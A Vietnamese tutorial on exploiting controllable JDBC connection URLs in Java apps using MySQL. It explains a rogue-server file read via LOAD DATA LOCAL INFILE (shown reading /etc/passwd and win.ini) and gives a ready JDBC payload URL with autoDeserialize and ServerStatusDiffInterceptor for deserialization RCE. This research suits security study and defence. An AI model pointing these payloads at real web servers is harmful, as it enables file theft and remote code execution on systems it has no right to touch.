1. Giới thiệu về JDBC
JDBC (viết tắt của Java Database Connectivity) là một API để thực hiện việc kết nối tới database, thực thi các câu lệnh SQL,...
Nó là một phần của JavaSE (Standard Edition). JDBC API sử dụng JDBC Driver để connect tới database và có 4 loại driver:
- JDBC-ODBC Bridge Driver
- Native Driver
- Network Protocol Driver
- Thin Driver
Lập trình viên Java có lẽ cũng khá quen thuộc với cách sử dụng JDBC API
Trên thực tế, JDBC là một interface chuẩn và mỗi CSDL quan hệ riêng sẽ có từng implement riêng.
2. JDBC Exploit
Để khai thác những lỗ hổng liên quan đến JDBC, việc quan trọng nhất là phải kiểm soát được URL của JDBC Connection.
JDBC Driver là thư viện được cài ở trên client, không phải trên server (với client ở trong trường hợp này là nơi thực hiện gọi API JDBC - tức server web, còn server là database). Nó sẽ convert từ một request từ Java program thành protocol mà Database Management System (DBMS) có thể hiểu được và thực thi. Sau khi thực thi, DBMS sẽ trả lại kết quả tương ứng.
Như vậy kịch bản tấn công theo mô hình trên sẽ là:
- Kẻ tấn công control được giá trị URL của JDBC Connection, trỏ vào server Database fake do kẻ tấn công kiểm soát
- Server web mục tiêu sẽ thực hiện gọi tới JDBC API connect tới server giả mạo bằng JDBC Driver
- Kẻ tấn công lợi dụng các lỗ hổng bảo mật hoặc một số tính năng cụ thể của JDBC Driver đó để trigger lỗ hổng.
3. Khai thác JDBC trong Mysql
Phần này mình sẽ trình bày 2 lỗ hổng liên quan đến JDBC trong Mysql.
3.1. Đọc file bất kỳ
Mysql có một câu lệnh là LOAD DATA LOCAL
cho phép đọc file của client sau đó gửi lên Mysql Server. Link chi tiết tại đây.
Như vậy với một câu lệnh load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
thì nó sẽ đọc file /etc/passwd
của client sau đó gửi lên server.
Chính trang chủ của Mysql cũng đã nêu về sự nguy hiểm của nó và cảnh báo người dùng không được kết nối tới Mysql Server không đáng tin cậy.
Sau khi hiểu sơ qua về lỗ hổng, điều tiếp theo cần làm là làm sao dựng được một Mysql Server độc hại. Trước khi làm điều này, chúng ta cần nghiên cứu về cấu trúc gói tin mà Mysql thường thực hiện liên kết và truy vấn.
Để tìm hiểu, mình sử dụng Mysql Shell để connect tới localhost:3306
với username là root
, database là test
và chạy load data local infile "c:\\windows\\win.ini" into table test.test FIELDS TERMINATED BY '\n';
. (Lưu ý cần sử dụng cờ useSSL=false
để có thể đọc được các package một cách rõ ràng)
1. Greeting package, server trả lại banner với version của Mysql
2. Client login request
3. Khởi tạo truy vấn. Sẽ có rất nhiều câu truy vấn
Ngoài những câu truy vấn để lấy các thông tin cần thiết, sẽ có câu truy vấn ta thực hiện.
Server Mysql trả về thông tin file cần load lên.
Client (Web server) đọc file và gửi lên cho Server Mysql.
Server trả lại thông báo đã insert 7 records.
4. Kết thúc
Kết quả sẽ xuất hiện data của win.ini
file trong table test:
Lưu ý, tùy thuộc loại Mysql DBMS mà các gói tin gửi và nhận sẽ khác nhau đôi chút. Trên đây là mình thử với Mysql Workbench với Mysql Server ver 5.7 trên windows.
Quá trình truy vấn ban đầu là:
Client: Yêu cầu insert file win.ini vào table test
Server: Yêu cầu win.ini content
Client: Gửi win.ini content
Kịch bản tấn công khi Server do attacker kiểm soát:
Client: Yêu cầu truy vấn bất kì
Server: Yêu cầu win.ini content
Client: Có gửi win.ini content hay không?
Theo document của Mysql:
Do vậy, theo lý thuyết hoàn toàn có thể trực tiếp gửi về Client (là Webserver) yêu cầu đọc file bất kỳ vào gửi lại server (Mysql Server). Sau khi xem các gói tin gửi và nhận, ta thấy vấn đề này nằm ở việc cấu hình trong Mysql Server, không phải do Client. Sau khi gửi gói tin Greeting, Mysql Server sẽ trả về cấu hình cài đặt của mình.
Cấu hình trả về có thể sẽ không đầy đủ. Mình viết 1 poc nhỏ cho lỗ hổng này tại đây. Lưu ý là poc này chỉ hoạt động với local của mình trong trường hợp cụ thể này, không chắc nó sẽ hoạt động với trường hợp khác. Chạy poc và dùng jdbc connection API tới jdbc:mysql://localhost:33060/test
với user, pass bất kì ta được kết quả:
Connection from: ('127.0.0.1', 40608) [*] Payload send! Data received: ; for 16-bit app support [fonts] [extensions] [mci extensions] [files] [Mail] MAPI=1
3.2. MySQL JDBC Client Deserialization Vulnerability
Lỗ hổng đầu tiên được biết tới liên quan đến Deserialization của Mysql JDBC là CVE-2017-3523
Đến năm 2019, một hacker người Tàu là ZhangYang
đã hoàn thiện và trình bày <New Exploit Technique In Java Deserialization Attack>
tại BlackHat 2019.
Điểm kích hoạt lỗ hổng là com.mysql.jdbc.ResultSetImpl#getObject
(Phân tích trên mysql-connector-java-5.1.8.jar
file)
public Object getObject(int columnIndex) throws SQLException { ... case -4: case -3: case -2: if (field.getMysqlType() == 255) { return this.getBytes(columnIndex); } else if (!field.isBinary() && !field.isBlob()) { return this.getBytes(columnIndex); } else { byte[] data = this.getBytes(columnIndex); if (!this.connection.getAutoDeserialize()) return data; } else { Object obj = data; if (data != null && data.length >= 2) { if (data[0] != -84 || data[1] != -19) { return this.getString(columnIndex); } try { ByteArrayInputStream bytesIn = new ByteArrayInputStream(data); ObjectInputStream objIn = new ObjectInputStream(bytesIn); obj = objIn.readObject(); objIn.close(); bytesIn.close(); } catch (ClassNotFoundException var11) { throw SQLError.createSQLException(Messages.getString("ResultSet.Class_not_found___91") + var11.toString() + Messages.getString("ResultSet._while_reading_serialized_object_92"), this.getExceptionInterceptor()); } catch (IOException var12) { obj = data; } } return obj; } }
Hàm này sẽ check xem 2 byte đầu tiên có phải là 0xAC 0xED
(magic byte của object Java) (-84 và -19) sau đó thực hiện readObject()
từ data là giá trị đọc được từ cột đầu vào. (Lưu ý cột đầu vào phải có type BLOB
hoặc dạng Binary
và có cờ autoDeserialize
được bật để vượt qua một số lệnh if-else phía trên).
Như vậy, để đạt được deserialize, chúng ta cần gọi đến hàmgetObject
và đặt autoDeserialize=true
.
Để gọi đến getObject
, ta sẽ lợi dụng một khái niệm là queryInterceptors
. Theo mô tả của Mysql, queryInterceptors
có thể mang giá trị một triển khai của com.mysql.cj.interceptors.QueryInterceptor
interface. Interface này có tác dụng tùy biến quá trình xử lý theo nhu cầu thực tế, như tự động kiểm tra data trong memcache server, viết lại các truy vấn chậm, logging, v.v... (Link). Các lớp sẽ thực hiện implement 2 hàm là preProcess
và postProcess
, là quá trình trước và sau khi nhận được data truy vấn.
Trong số các lớp kế thừa interface trên, ta có com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor
với hàm preProcess
:
Và như vậy, payload cuối cùng sẽ tương tự dạng jdbc:mysql://localhost:33060/test?autoDeserialize=true&queryInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor
Nhiệm vụ của server attacker sẽ là lưu trữ một Object trong bảng với column type là BLOB
rồi đợi Client connect với giá trị như trên. Tùy vào ngữ cảnh cụ thể của Client, ta có thể sử dụng gadget tương ứng - điều kiện cuối cùng để có thể RCE thông qua deserialization. Note là tên lớp và thuộc tính của QueryInterceptor
sẽ khác nhau đôi chút tùy từng phiên bản của JDBC Driver.
Trong lỗ hổng này, có thể không cần kiểm soát giá trị URL của JDBC. Nếu Mysql Server internal thiết kế không đúng định dạng, có cột dữ liệu dạng BLOB, hoặc trong server web có lỗ hổng SQL Injection để attacker lợi dụng chuyển type thành BLOB thì cũng có thể khai thác.
Nguồn
https://pyn3rd.github.io/2022/06/06/Make-JDBC-Attacks-Brillian-Again-I/
https://w00tsec.blogspot.com/2018/04/abusing-mysql-local-infile-to-read.html